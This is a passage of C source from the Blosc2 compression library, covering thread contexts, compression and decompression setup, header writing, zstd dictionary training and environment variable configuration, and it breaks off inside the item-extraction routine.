parallel_blosc(blosc2_context* context) { #ifdef BLOSC_POSIX_BARRIERS int rc; #endif /* Set sentinels */ context->thread_giveup_code = 1; context->thread_nblock = -1; if (threads_callback) { threads_callback(threads_callback_data, t_blosc_do_job, context->nthreads, sizeof(struct thread_context), (void*) context->thread_contexts); } else { /* Synchronization point for all threads (wait for initialization) */ WAIT_INIT(-1, context); /* Synchronization point for all threads (wait for finalization) */ WAIT_FINISH(-1, context); } if (context->thread_giveup_code <= 0) { /* Compression/decompression gave up. Return error code. */ return context->thread_giveup_code; } /* Return the total bytes (de-)compressed in threads */ return (int)context->output_bytes; } /* initialize a thread_context that has already been allocated */ static void init_thread_context(struct thread_context* thread_context, blosc2_context* context, int32_t tid) { int32_t ebsize; thread_context->parent_context = context; thread_context->tid = tid; ebsize = context->blocksize + context->typesize * (int32_t)sizeof(int32_t); thread_context->tmp_nbytes = (size_t)3 * context->blocksize + ebsize; thread_context->tmp = my_malloc(thread_context->tmp_nbytes); thread_context->tmp2 = thread_context->tmp + context->blocksize; thread_context->tmp3 = thread_context->tmp + context->blocksize + ebsize; thread_context->tmp4 = thread_context->tmp + 2 * context->blocksize + ebsize; thread_context->tmp_blocksize = context->blocksize; #if defined(HAVE_ZSTD) thread_context->zstd_cctx = NULL; thread_context->zstd_dctx = NULL; #endif /* Create the hash table for LZ4 in case we are using IPP */ #ifdef HAVE_IPP IppStatus status; int inlen = thread_context->tmp_blocksize > 0 ? thread_context->tmp_blocksize : 1 << 16; int hash_size = 0; status = ippsEncodeLZ4HashTableGetSize_8u(&hash_size); if (status != ippStsNoErr) { fprintf(stderr, "Error in ippsEncodeLZ4HashTableGetSize_8u"); } Ipp8u *hash_table = ippsMalloc_8u(hash_size); status = ippsEncodeLZ4HashTableInit_8u(hash_table, inlen); if (status != ippStsNoErr) { fprintf(stderr, "Error in ippsEncodeLZ4HashTableInit_8u"); } thread_context->lz4_hash_table = hash_table; #endif } static struct thread_context* create_thread_context(blosc2_context* context, int32_t tid) { struct thread_context* thread_context; thread_context = (struct thread_context*)my_malloc(sizeof(struct thread_context)); init_thread_context(thread_context, context, tid); return thread_context; } /* free members of thread_context, but not thread_context itself */ static void destroy_thread_context(struct thread_context* thread_context) { my_free(thread_context->tmp); #if defined(HAVE_ZSTD) if (thread_context->zstd_cctx != NULL) { ZSTD_freeCCtx(thread_context->zstd_cctx); } if (thread_context->zstd_dctx != NULL) { ZSTD_freeDCtx(thread_context->zstd_dctx); } #endif #ifdef HAVE_IPP if (thread_context->lz4_hash_table != NULL) { ippsFree(thread_context->lz4_hash_table); } #endif } void free_thread_context(struct thread_context* thread_context) { destroy_thread_context(thread_context); my_free(thread_context); } int check_nthreads(blosc2_context* context) { if (context->nthreads <= 0) { fprintf(stderr, "Error. nthreads must be a positive integer"); return -1; } if (context->new_nthreads != context->nthreads) { if (context->nthreads > 1) { release_threadpool(context); } context->nthreads = context->new_nthreads; } if (context->new_nthreads > 1 && context->threads_started == 0) { init_threadpool(context); } return context->nthreads; } /* Do the compression or decompression of the buffer depending on the global params. */ static int do_job(blosc2_context* context) { int32_t ntbytes; /* Set sentinels */ context->dref_not_init = 1; /* Check whether we need to restart threads */ check_nthreads(context); /* Run the serial version when nthreads is 1 or when the buffers are not larger than blocksize */ if (context->nthreads == 1 || (context->sourcesize / context->blocksize) <= 1) { /* The context for this 'thread' has no been initialized yet */ if (context->serial_context == NULL) { context->serial_context = create_thread_context(context, 0); } else if (context->blocksize != context->serial_context->tmp_blocksize) { free_thread_context(context->serial_context); context->serial_context = create_thread_context(context, 0); } ntbytes = serial_blosc(context->serial_context); } else { ntbytes = parallel_blosc(context); } return ntbytes; } /* Convert filter pipeline to filter flags */ static uint8_t filters_to_flags(const uint8_t* filters) { uint8_t flags = 0; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { switch (filters[i]) { case BLOSC_SHUFFLE: flags |= BLOSC_DOSHUFFLE; break; case BLOSC_BITSHUFFLE: flags |= BLOSC_DOBITSHUFFLE; break; case BLOSC_DELTA: flags |= BLOSC_DODELTA; break; default : break; } } return flags; } /* Convert filter flags to filter pipeline */ static void flags_to_filters(const uint8_t flags, uint8_t* filters) { /* Initialize the filter pipeline */ memset(filters, 0, BLOSC2_MAX_FILTERS); /* Fill the filter pipeline */ if (flags & BLOSC_DOSHUFFLE) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_SHUFFLE; if (flags & BLOSC_DOBITSHUFFLE) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_BITSHUFFLE; if (flags & BLOSC_DODELTA) filters[BLOSC2_MAX_FILTERS - 2] = BLOSC_DELTA; } static int initialize_context_compression( blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize, int clevel, uint8_t const *filters, uint8_t const *filters_meta, int32_t typesize, int compressor, int32_t blocksize, int new_nthreads, int nthreads, blosc2_schunk* schunk) { /* Set parameters */ context->do_compress = 1; context->src = (const uint8_t*)src; context->srcsize = srcsize; context->dest = (uint8_t*)dest; context->output_bytes = 0; context->destsize = destsize; context->sourcesize = srcsize; context->typesize = (int32_t)typesize; context->filter_flags = filters_to_flags(filters); for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { context->filters[i] = filters[i]; context->filters_meta[i] = filters_meta[i]; } context->compcode = compressor; context->nthreads = nthreads; context->new_nthreads = new_nthreads; context->end_threads = 0; context->clevel = clevel; context->schunk = schunk; /* Tune some compression parameters */ context->blocksize = (int32_t)blocksize; if (context->btune != NULL) { btune_next_cparams(context); } else { btune_next_blocksize(context); } char* envvar = getenv("BLOSC_WARN"); int warnlvl = 0; if (envvar != NULL) { warnlvl = strtol(envvar, NULL, 10); } /* Check buffer size limits */ if (srcsize > BLOSC_MAX_BUFFERSIZE) { if (warnlvl > 0) { fprintf(stderr, "Input buffer size cannot exceed %d bytes\n", BLOSC_MAX_BUFFERSIZE); } return 0; } if (destsize < BLOSC_MAX_OVERHEAD) { if (warnlvl > 0) { fprintf(stderr, "Output buffer size should be larger than %d bytes\n", BLOSC_MAX_OVERHEAD); } return 0; } if (destsize < BLOSC_MAX_OVERHEAD) { if (warnlvl > 0) { fprintf(stderr, "Output buffer size should be larger than %d bytes\n", BLOSC_MAX_OVERHEAD); } return -2; } if (destsize < BLOSC_MAX_OVERHEAD) { fprintf(stderr, "Output buffer size should be larger than %d bytes\n", BLOSC_MAX_OVERHEAD); return -1; } /* Compression level */ if (clevel < 0 || clevel > 9) { /* If clevel not in 0..9, print an error */ fprintf(stderr, "`clevel` parameter must be between 0 and 9!\n"); return -10; } /* Check typesize limits */ if (context->typesize > BLOSC_MAX_TYPESIZE) { /* If typesize is too large, treat buffer as an 1-byte stream. */ context->typesize = 1; } /* Compute number of blocks in buffer */ context->nblocks = context->sourcesize / context->blocksize; context->leftover = context->sourcesize % context->blocksize; context->nblocks = (context->leftover > 0) ? (context->nblocks + 1) : context->nblocks; return 1; } /* Get filter flags from header flags */ static uint8_t get_filter_flags(const uint8_t header_flags, const int32_t typesize) { uint8_t flags = 0; if ((header_flags & BLOSC_DOSHUFFLE) && (typesize > 1)) { flags |= BLOSC_DOSHUFFLE; } if (header_flags & BLOSC_DOBITSHUFFLE) { flags |= BLOSC_DOBITSHUFFLE; } if (header_flags & BLOSC_DODELTA) { flags |= BLOSC_DODELTA; } if (header_flags & BLOSC_MEMCPYED) { flags |= BLOSC_MEMCPYED; } return flags; } static int initialize_context_decompression(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { uint8_t blosc2_flags = 0; int32_t cbytes; int32_t bstarts_offset; int32_t bstarts_end; context->do_compress = 0; context->src = (const uint8_t*)src; context->srcsize = srcsize; context->dest = (uint8_t*)dest; context->destsize = destsize; context->output_bytes = 0; context->end_threads = 0; if (context->srcsize < BLOSC_MIN_HEADER_LENGTH) { /* Not enough input to read minimum header */ return -1; } context->header_flags = context->src[2]; context->typesize = context->src[3]; context->sourcesize = sw32_(context->src + 4); context->blocksize = sw32_(context->src + 8); cbytes = sw32_(context->src + 12); // Some checks for malformed headers if (context->blocksize <= 0 || context->blocksize > destsize || context->typesize <= 0 || context->typesize > BLOSC_MAX_TYPESIZE || cbytes > srcsize) { return -1; } /* Check that we have enough space to decompress */ if (context->sourcesize > (int32_t)destsize) { return -1; } /* Total blocks */ context->nblocks = context->sourcesize / context->blocksize; context->leftover = context->sourcesize % context->blocksize; context->nblocks = (context->leftover > 0) ? context->nblocks + 1 : context->nblocks; if (context->block_maskout != NULL && context->block_maskout_nitems != context->nblocks) { fprintf(stderr, "The number of items in block_maskout (%d) must match the number" " of blocks in chunk (%d)", context->block_maskout_nitems, context->nblocks); return -2; } if ((context->header_flags & BLOSC_DOSHUFFLE) && (context->header_flags & BLOSC_DOBITSHUFFLE)) { /* Extended header */ if (context->srcsize < BLOSC_EXTENDED_HEADER_LENGTH) { /* Not enough input to read extended header */ return -1; } uint8_t* filters = (uint8_t*)(context->src + BLOSC_MIN_HEADER_LENGTH); uint8_t* filters_meta = filters + 8; uint8_t header_version = context->src[0]; // The number of filters depends on the version of the header // (we need to read less because filters where not initialized to zero in blosc2 alpha series) int max_filters = (header_version == BLOSC2_VERSION_FORMAT_ALPHA) ? 5 : BLOSC2_MAX_FILTERS; for (int i = 0; i < max_filters; i++) { context->filters[i] = filters[i]; context->filters_meta[i] = filters_meta[i]; } context->filter_flags = filters_to_flags(filters); bstarts_offset = BLOSC_EXTENDED_HEADER_LENGTH; blosc2_flags = context->src[0x1F]; } else { /* Regular (Blosc1) header */ context->filter_flags = get_filter_flags(context->header_flags, context->typesize); flags_to_filters(context->header_flags, context->filters); bstarts_offset = BLOSC_MIN_HEADER_LENGTH; } context->bstarts = (int32_t*)(context->src + bstarts_offset); bstarts_end = bstarts_offset + (context->nblocks * sizeof(int32_t)); if (srcsize < bstarts_end) { /* Not enough input to read entire `bstarts` section */ return -1; } srcsize -= bstarts_end; /* Read optional dictionary if flag set */ if (blosc2_flags & BLOSC2_USEDICT) { #if defined(HAVE_ZSTD) context->use_dict = 1; if (context->dict_ddict != NULL) { // Free the existing dictionary (probably from another chunk) ZSTD_freeDDict(context->dict_ddict); } // The trained dictionary is after the bstarts block if (srcsize < sizeof(int32_t)) { /* Not enough input to size of dictionary */ return -1; } srcsize -= sizeof(int32_t); context->dict_size = (size_t)sw32_(context->src + bstarts_end); if (context->dict_size <= 0 || context->dict_size > BLOSC2_MAXDICTSIZE) { /* Dictionary size is smaller than minimum or larger than maximum allowed */ return -1; } if (srcsize < (int32_t)context->dict_size) { /* Not enough input to read entire dictionary */ return -1; } srcsize -= context->dict_size; context->dict_buffer = (void*)(context->src + bstarts_end + sizeof(int32_t)); context->dict_ddict = ZSTD_createDDict(context->dict_buffer, context->dict_size); #endif // HAVE_ZSTD } return 0; } static int write_compression_header(blosc2_context* context, bool extended_header) { int32_t compformat; int dont_split; int dict_training = context->use_dict && (context->dict_cdict == NULL); // Set the whole header to zeros so that the reserved values are zeroed if (extended_header) { memset(context->dest, 0, BLOSC_EXTENDED_HEADER_LENGTH); } else { memset(context->dest, 0, BLOSC_MIN_HEADER_LENGTH); } /* Write version header for this block */ context->dest[0] = BLOSC_VERSION_FORMAT; /* Write compressor format */ compformat = -1; switch (context->compcode) { case BLOSC_BLOSCLZ: compformat = BLOSC_BLOSCLZ_FORMAT; context->dest[1] = BLOSC_BLOSCLZ_VERSION_FORMAT; break; #if defined(HAVE_LZ4) case BLOSC_LZ4: compformat = BLOSC_LZ4_FORMAT; context->dest[1] = BLOSC_LZ4_VERSION_FORMAT; break; case BLOSC_LZ4HC: compformat = BLOSC_LZ4HC_FORMAT; context->dest[1] = BLOSC_LZ4HC_VERSION_FORMAT; break; #endif /* HAVE_LZ4 */ #if defined(HAVE_LIZARD) case BLOSC_LIZARD: compformat = BLOSC_LIZARD_FORMAT; context->dest[1] = BLOSC_LIZARD_VERSION_FORMAT; break; #endif /* HAVE_LIZARD */ #if defined(HAVE_SNAPPY) case BLOSC_SNAPPY: compformat = BLOSC_SNAPPY_FORMAT; context->dest[1] = BLOSC_SNAPPY_VERSION_FORMAT; break; #endif /* HAVE_SNAPPY */ #if defined(HAVE_ZLIB) case BLOSC_ZLIB: compformat = BLOSC_ZLIB_FORMAT; context->dest[1] = BLOSC_ZLIB_VERSION_FORMAT; break; #endif /* HAVE_ZLIB */ #if defined(HAVE_ZSTD) case BLOSC_ZSTD: compformat = BLOSC_ZSTD_FORMAT; context->dest[1] = BLOSC_ZSTD_VERSION_FORMAT; break; #endif /* HAVE_ZSTD */ default: { const char* compname; compname = clibcode_to_clibname(compformat); fprintf(stderr, "Blosc has not been compiled with '%s' ", compname); fprintf(stderr, "compression support. Please use one having it."); return -5; /* signals no compression support */ break; } } if (context->clevel == 0) { /* Compression level 0 means buffer to be memcpy'ed */ context->header_flags |= (uint8_t)BLOSC_MEMCPYED; } if (context->sourcesize < BLOSC_MIN_BUFFERSIZE) { /* Buffer is too small. Try memcpy'ing. */ context->header_flags |= (uint8_t)BLOSC_MEMCPYED; } bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; context->dest[2] = 0; /* zeroes flags */ context->dest[3] = (uint8_t)context->typesize; _sw32(context->dest + 4, (int32_t)context->sourcesize); _sw32(context->dest + 8, (int32_t)context->blocksize); if (extended_header) { /* Mark that we are handling an extended header */ context->header_flags |= (BLOSC_DOSHUFFLE | BLOSC_DOBITSHUFFLE); /* Store filter pipeline info at the end of the header */ uint8_t *filters = context->dest + BLOSC_MIN_HEADER_LENGTH; uint8_t *filters_meta = filters + 8; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { filters[i] = context->filters[i]; filters_meta[i] = context->filters_meta[i]; } uint8_t* blosc2_flags = context->dest + 0x1F; *blosc2_flags = 0; // zeroes flags *blosc2_flags |= is_little_endian() ? 0 : BLOSC2_BIGENDIAN; // endianness if (dict_training || memcpyed) { context->bstarts = NULL; context->output_bytes = BLOSC_EXTENDED_HEADER_LENGTH; } else { context->bstarts = (int32_t*)(context->dest + BLOSC_EXTENDED_HEADER_LENGTH); context->output_bytes = BLOSC_EXTENDED_HEADER_LENGTH + sizeof(int32_t) * context->nblocks; } if (context->use_dict) { *blosc2_flags |= BLOSC2_USEDICT; } } else { // Regular header if (memcpyed) { context->bstarts = NULL; context->output_bytes = BLOSC_MIN_HEADER_LENGTH; } else { context->bstarts = (int32_t *) (context->dest + BLOSC_MIN_HEADER_LENGTH); context->output_bytes = BLOSC_MIN_HEADER_LENGTH + sizeof(int32_t) * context->nblocks; } } // when memcpyed bit is set, there is no point in dealing with others if (!memcpyed) { if (context->filter_flags & BLOSC_DOSHUFFLE) { /* Byte-shuffle is active */ context->header_flags |= BLOSC_DOSHUFFLE; } if (context->filter_flags & BLOSC_DOBITSHUFFLE) { /* Bit-shuffle is active */ context->header_flags |= BLOSC_DOBITSHUFFLE; } if (context->filter_flags & BLOSC_DODELTA) { /* Delta is active */ context->header_flags |= BLOSC_DODELTA; } dont_split = !split_block(context, context->typesize, context->blocksize, extended_header); context->header_flags |= dont_split << 4; /* dont_split is in bit 4 */ context->header_flags |= compformat << 5; /* codec starts at bit 5 */ } // store header flags in dest context->dest[2] = context->header_flags; return 1; } int blosc_compress_context(blosc2_context* context) { int ntbytes = 0; blosc_timestamp_t last, current; bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; blosc_set_timestamp(&last); if (!memcpyed) { /* Do the actual compression */ ntbytes = do_job(context); if (ntbytes < 0) { return -1; } if (ntbytes == 0) { // Try out with a memcpy later on (last chance for fitting src buffer in dest). context->header_flags |= (uint8_t)BLOSC_MEMCPYED; memcpyed = true; } } if (memcpyed) { if (context->sourcesize + BLOSC_MAX_OVERHEAD > context->destsize) { /* We are exceeding maximum output size */ ntbytes = 0; } else { context->output_bytes = BLOSC_MAX_OVERHEAD; ntbytes = do_job(context); if (ntbytes < 0) { return -1; } // Success! update the memcpy bit in header context->dest[2] = context->header_flags; // and clear the memcpy bit in context (for next reuse) context->header_flags &= ~(uint8_t)BLOSC_MEMCPYED; } } /* Set the number of compressed bytes in header */ _sw32(context->dest + 12, ntbytes); /* Set the number of bytes in dest buffer (might be useful for btune) */ context->destsize = ntbytes; assert(ntbytes <= context->destsize); if (context->btune != NULL) { blosc_set_timestamp(&current); double ctime = blosc_elapsed_secs(last, current); btune_update(context, ctime); } return ntbytes; } /* The public secure routine for compression with context. */ int blosc2_compress_ctx(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int error, cbytes; if (context->do_compress != 1) { fprintf(stderr, "Context is not meant for compression. Giving up.\n"); return -10; } error = initialize_context_compression( context, src, srcsize, dest, destsize, context->clevel, context->filters, context->filters_meta, context->typesize, context->compcode, context->blocksize, context->new_nthreads, context->nthreads, context->schunk); if (error <= 0) { return error; } /* Write the extended header */ error = write_compression_header(context, true); if (error < 0) { return error; } cbytes = blosc_compress_context(context); if (cbytes < 0) { return cbytes; } if (context->use_dict && context->dict_cdict == NULL) { if (context->compcode != BLOSC_ZSTD) { const char* compname; compname = clibcode_to_clibname(context->compcode); fprintf(stderr, "Codec %s does not support dicts. Giving up.\n", compname); return -20; } #ifdef HAVE_ZSTD // Build the dictionary out of the filters outcome and compress with it int32_t dict_maxsize = BLOSC2_MAXDICTSIZE; // Do not make the dict more than 5% larger than uncompressed buffer if (dict_maxsize > srcsize / 20) { dict_maxsize = srcsize / 20; } void* samples_buffer = context->dest + BLOSC_EXTENDED_HEADER_LENGTH; unsigned nblocks = 8; // the minimum that accepts zstd as of 1.4.0 unsigned sample_fraction = 1; // 1 allows to use most of the chunk for training size_t sample_size = context->sourcesize / nblocks / sample_fraction; // Populate the samples sizes for training the dictionary size_t* samples_sizes = malloc(nblocks * sizeof(void*)); for (size_t i = 0; i < nblocks; i++) { samples_sizes[i] = sample_size; } // Train from samples void* dict_buffer = malloc(dict_maxsize); size_t dict_actual_size = ZDICT_trainFromBuffer(dict_buffer, dict_maxsize, samples_buffer, samples_sizes, nblocks); // TODO: experiment with parameters of low-level fast cover algorithm // Note that this API is still unstable. See: https://github.com/facebook/zstd/issues/1599 // ZDICT_fastCover_params_t fast_cover_params; // memset(&fast_cover_params, 0, sizeof(fast_cover_params)); // fast_cover_params.d = nblocks; // fast_cover_params.steps = 4; // fast_cover_params.zParams.compressionLevel = context->clevel; //size_t dict_actual_size = ZDICT_optimizeTrainFromBuffer_fastCover(dict_buffer, dict_maxsize, samples_buffer, samples_sizes, nblocks, &fast_cover_params); if (ZDICT_isError(dict_actual_size) != ZSTD_error_no_error) { fprintf(stderr, "Error in ZDICT_trainFromBuffer(): '%s'." " Giving up.\n", ZDICT_getErrorName(dict_actual_size)); return -20; } assert(dict_actual_size > 0); free(samples_sizes); // Update bytes counter and pointers to bstarts for the new compressed buffer context->bstarts = (int32_t*)(context->dest + BLOSC_EXTENDED_HEADER_LENGTH); context->output_bytes = BLOSC_EXTENDED_HEADER_LENGTH + sizeof(int32_t) * context->nblocks; /* Write the size of trained dict at the end of bstarts */ _sw32(context->dest + context->output_bytes, (int32_t)dict_actual_size); context->output_bytes += sizeof(int32_t); /* Write the trained dict afterwards */ context->dict_buffer = context->dest + context->output_bytes; memcpy(context->dict_buffer, dict_buffer, (unsigned int)dict_actual_size); context->dict_cdict = ZSTD_createCDict(dict_buffer, dict_actual_size, 1); // TODO: use get_accel() free(dict_buffer); // the dictionary is copied in the header now context->output_bytes += (int32_t)dict_actual_size; context->dict_size = dict_actual_size; /* Compress with dict */ cbytes = blosc_compress_context(context); // Invalidate the dictionary for compressing other chunks using the same context context->dict_buffer = NULL; ZSTD_freeCDict(context->dict_cdict); context->dict_cdict = NULL; #endif // HAVE_ZSTD } return cbytes; } void build_filters(const int doshuffle, const int delta, const size_t typesize, uint8_t* filters) { /* Fill the end part of the filter pipeline */ if ((doshuffle == BLOSC_SHUFFLE) && (typesize > 1)) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_SHUFFLE; if (doshuffle == BLOSC_BITSHUFFLE) filters[BLOSC2_MAX_FILTERS - 1] = BLOSC_BITSHUFFLE; if (delta) filters[BLOSC2_MAX_FILTERS - 2] = BLOSC_DELTA; } /* The public secure routine for compression. */ int blosc2_compress(int clevel, int doshuffle, int32_t typesize, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int error; int result; char* envvar; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); /* Check for a BLOSC_CLEVEL environment variable */ envvar = getenv("BLOSC_CLEVEL"); if (envvar != NULL) { long value; value = strtol(envvar, NULL, 10); if ((value != EINVAL) && (value >= 0)) { clevel = (int)value; } } /* Check for a BLOSC_SHUFFLE environment variable */ envvar = getenv("BLOSC_SHUFFLE"); if (envvar != NULL) { if (strcmp(envvar, "NOSHUFFLE") == 0) { doshuffle = BLOSC_NOSHUFFLE; } if (strcmp(envvar, "SHUFFLE") == 0) { doshuffle = BLOSC_SHUFFLE; } if (strcmp(envvar, "BITSHUFFLE") == 0) { doshuffle = BLOSC_BITSHUFFLE; } } /* Check for a BLOSC_DELTA environment variable */ envvar = getenv("BLOSC_DELTA"); if (envvar != NULL) { if (strcmp(envvar, "1") == 0) { blosc_set_delta(1); } else { blosc_set_delta(0); } } /* Check for a BLOSC_TYPESIZE environment variable */ envvar = getenv("BLOSC_TYPESIZE"); if (envvar != NULL) { long value; value = strtol(envvar, NULL, 10); if ((value != EINVAL) && (value > 0)) { typesize = (size_t)value; } } /* Check for a BLOSC_COMPRESSOR environment variable */ envvar = getenv("BLOSC_COMPRESSOR"); if (envvar != NULL) { result = blosc_set_compressor(envvar); if (result < 0) { return result; } } /* Check for a BLOSC_COMPRESSOR environment variable */ envvar = getenv("BLOSC_BLOCKSIZE"); if (envvar != NULL) { long blocksize; blocksize = strtol(envvar, NULL, 10); if ((blocksize != EINVAL) && (blocksize > 0)) { blosc_set_blocksize((size_t)blocksize); } } /* Check for a BLOSC_NTHREADS environment variable */ envvar = getenv("BLOSC_NTHREADS"); if (envvar != NULL) { long nthreads; nthreads = strtol(envvar, NULL, 10); if ((nthreads != EINVAL) && (nthreads > 0)) { result = blosc_set_nthreads((int)nthreads); if (result < 0) { return result; } } } /* Check for a BLOSC_NOLOCK environment variable. It is important that this should be the last env var so that it can take the previous ones into account */ envvar = getenv("BLOSC_NOLOCK"); if (envvar != NULL) { // TODO: here is the only place that returns an extended header from // a blosc_compress() call. This should probably be fixed. const char *compname; blosc2_context *cctx; blosc2_cparams cparams = BLOSC2_CPARAMS_DEFAULTS; blosc_compcode_to_compname(g_compressor, &compname); /* Create a context for compression */ build_filters(doshuffle, g_delta, typesize, cparams.filters); // TODO: cparams can be shared in a multithreaded environment. do a copy! cparams.typesize = (uint8_t)typesize; cparams.compcode = (uint8_t)g_compressor; cparams.clevel = (uint8_t)clevel; cparams.nthreads = (uint8_t)g_nthreads; cctx = blosc2_create_cctx(cparams); /* Do the actual compression */ result = blosc2_compress_ctx(cctx, src, srcsize, dest, destsize); /* Release context resources */ blosc2_free_ctx(cctx); return result; } pthread_mutex_lock(&global_comp_mutex); /* Initialize a context compression */ uint8_t* filters = calloc(1, BLOSC2_MAX_FILTERS); uint8_t* filters_meta = calloc(1, BLOSC2_MAX_FILTERS); build_filters(doshuffle, g_delta, typesize, filters); error = initialize_context_compression( g_global_context, src, srcsize, dest, destsize, clevel, filters, filters_meta, (int32_t)typesize, g_compressor, g_force_blocksize, g_nthreads, g_nthreads, g_schunk); free(filters); free(filters_meta); if (error <= 0) { pthread_mutex_unlock(&global_comp_mutex); return error; } /* Write chunk header without extended header (Blosc1 compatibility mode) */ error = write_compression_header(g_global_context, false); if (error < 0) { pthread_mutex_unlock(&global_comp_mutex); return error; } result = blosc_compress_context(g_global_context); pthread_mutex_unlock(&global_comp_mutex); return result; } /* The public routine for compression. */ int blosc_compress(int clevel, int doshuffle, size_t typesize, size_t nbytes, const void* src, void* dest, size_t destsize) { return blosc2_compress(clevel, doshuffle, (int32_t)typesize, src, (int32_t)nbytes, dest, (int32_t)destsize); } int blosc_run_decompression_with_context(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int32_t ntbytes; uint8_t* _src = (uint8_t*)src; uint8_t version; int error; if (srcsize <= 0) { /* Invalid argument */ return -1; } version = _src[0]; /* blosc format version */ if (version > BLOSC_VERSION_FORMAT) { /* Version from future */ return -1; } error = initialize_context_decompression(context, src, srcsize, dest, destsize); if (error < 0) { return error; } /* Check whether this buffer is memcpy'ed */ bool memcpyed = context->header_flags & (uint8_t)BLOSC_MEMCPYED; if (memcpyed) { // Check that sizes in header are compatible, otherwise there is a header corruption ntbytes = context->sourcesize; int32_t cbytes = sw32_(_src + 12); /* compressed buffer size */ if (ntbytes + BLOSC_MAX_OVERHEAD != cbytes) { return -1; } // Check that we have enough space in destination for the copy operation if (destsize < ntbytes) { return -1; } memcpy(dest, _src + BLOSC_MAX_OVERHEAD, (unsigned int)ntbytes); } else { /* Do the actual decompression */ ntbytes = do_job(context); if (ntbytes < 0) { return -1; } } assert(ntbytes <= (int32_t)destsize); return ntbytes; } /* The public secure routine for decompression with context. */ int blosc2_decompress_ctx(blosc2_context* context, const void* src, int32_t srcsize, void* dest, int32_t destsize) { int result; if (context->do_compress != 0) { fprintf(stderr, "Context is not meant for decompression. Giving up.\n"); return -10; } result = blosc_run_decompression_with_context(context, src, srcsize, dest, destsize); // Reset a possible block_maskout if (context->block_maskout != NULL) { free(context->block_maskout); context->block_maskout = NULL; } context->block_maskout_nitems = 0; return result; } /* The public secure routine for decompression. */ int blosc2_decompress(const void* src, int32_t srcsize, void* dest, int32_t destsize) { int result; char* envvar; long nthreads; blosc2_context *dctx; blosc2_dparams dparams = BLOSC2_DPARAMS_DEFAULTS; /* Check whether the library should be initialized */ if (!g_initlib) blosc_init(); /* Check for a BLOSC_NTHREADS environment variable */ envvar = getenv("BLOSC_NTHREADS"); if (envvar != NULL) { nthreads = strtol(envvar, NULL, 10); if ((nthreads != EINVAL) && (nthreads > 0)) { result = blosc_set_nthreads((int)nthreads); if (result < 0) { return result; } } } /* Check for a BLOSC_NOLOCK environment variable. It is important that this should be the last env var so that it can take the previous ones into account */ envvar = getenv("BLOSC_NOLOCK"); if (envvar != NULL) { dparams.nthreads = g_nthreads; dctx = blosc2_create_dctx(dparams); result = blosc2_decompress_ctx(dctx, src, srcsize, dest, destsize); blosc2_free_ctx(dctx); return result; } pthread_mutex_lock(&global_comp_mutex); result = blosc_run_decompression_with_context( g_global_context, src, srcsize, dest, destsize); pthread_mutex_unlock(&global_comp_mutex); return result; } /* The public routine for decompression. */ int blosc_decompress(const void* src, void* dest, size_t destsize) { return blosc2_decompress(src, INT32_MAX, dest, (int32_t)destsize); } /* Specific routine optimized for decompression a small number of items out of a compressed chunk. This does not use threads because it would affect negatively to performance. */ int _blosc_getitem(blosc2_context* context, const void* src, int32_t srcsize, int start, int nitems, void* dest) { uint8_t* _src = NULL; /* current pos for source buffer */ uint8_t flags; /* flags for header */ int32_t ntbytes = 0; /* the number of uncompressed bytes */ int32_t nblocks; /* number of total blocks in buffer */ int32_t leftover; /* extra bytes at end of buffer */ int32_t* bstarts; /* start pointers for each block */ int32_t typesize, blocksize, nbytes; int32_t bsize, bsize2, ebsize, leftoverblock; int32_t cbytes; int32_t startb, stopb; int32_t stop = start + nitems; int j; if (srcsize < BLOSC_MIN_HEADER_LENGTH) { /* Not enough input to parse Blosc1 header */ return -1; } _src = (uint8_t*)(src); /* Read the header block */ flags = _src[2]; /* flags */ bool memcpyed = flags & (uint8_t)BLOSC_MEMCPYED; typesize = (int32_t)_src[3]; /* typesize */ nbytes = sw32_(_src + 4); /* buffer size */ blocksize = sw32_(_src + 8); /* block size */ cbytes = sw32_(_src + 12); /* compressed buffer size */ ebsize = blocksize + typesize * (int32_t)sizeof(int32_t); if ((context->header_flags & BLOSC_DOSHUFFLE) && (context->header_flags & BLOSC_DOBITSHUFFLE)) { /* Extended header */ if (srcsize < BLOSC_EXTENDED_HEADER_LENGTH) { /* Not enough input to parse Blosc2 header */ return -1; } uint8_t* filters = _src + BLOSC_MIN_HEADER_LENGTH; uint8_t* filters_meta = filters + 8; for (int i = 0; i < BLOSC2_MAX_FILTERS; i++) { context->filters[i] = filters[i]; context->filters_meta[i] = filters_meta[i]; } bstarts = (int32_t*)(_src + BLOSC_EXTENDED_HEADER_LENGTH); } else { /* Minimal header */ flags_to_filters(flags, context->filters); bstarts = (int32_t*)(_src + BLOSC_MIN_HEADER_LENGTH); } // Some checks for malformed buffers if (blocksize <= 0 || blocksize > nbytes || typesize <= 0 || typesize > BLOSC_MAX_TYPESIZE) { return -1; } /* Compute some params */ /* Total blocks */ nblocks = nbytes / blocksize; leftover = nbytes % blocksize; nblocks = (leftover > 0) ? nblocks + 1 : nblocks; /* Check region boundaries */ if ((start < 0) || (start * typesize > nbytes)) { fprintf(stderr, "`start` out of bounds"); return -1; } if ((stop < 0) || (stop * typesize > nbytes)) { fprintf(stderr, "`start`+`nitems` out of bounds"); return -1; } if (_src + srcsize < (uint8_t *)(bstarts + nblocks)) { /* Not enough input to read all `bstarts` */ return -1; } for (j = 0; j < nblocks; j++) { bsize = blocksize; leftoverblock = 0; if ((j == nblocks - 1) && (leftover > 0)) { bsize = leftover; leftoverblock = 1; } /* Compute start & stop for each block */ startb = start * (int)typesize - j * (int)blocksize; stopb = stop * (int)typesize - j * (int)blocksize; if ((startb >= (int)blocksize) || (stopb <= 0)) { continue; } if (startb < 0) { startb = 0; } if (stopb > (int)blocksize) { stopb = (int)blocksize; } bsize2 = stopb - startb; /* Do the actual data copy */ if (memcpyed) { // Check that sizes in header are compatible, otherwise there is a header corruption if (nbytes + 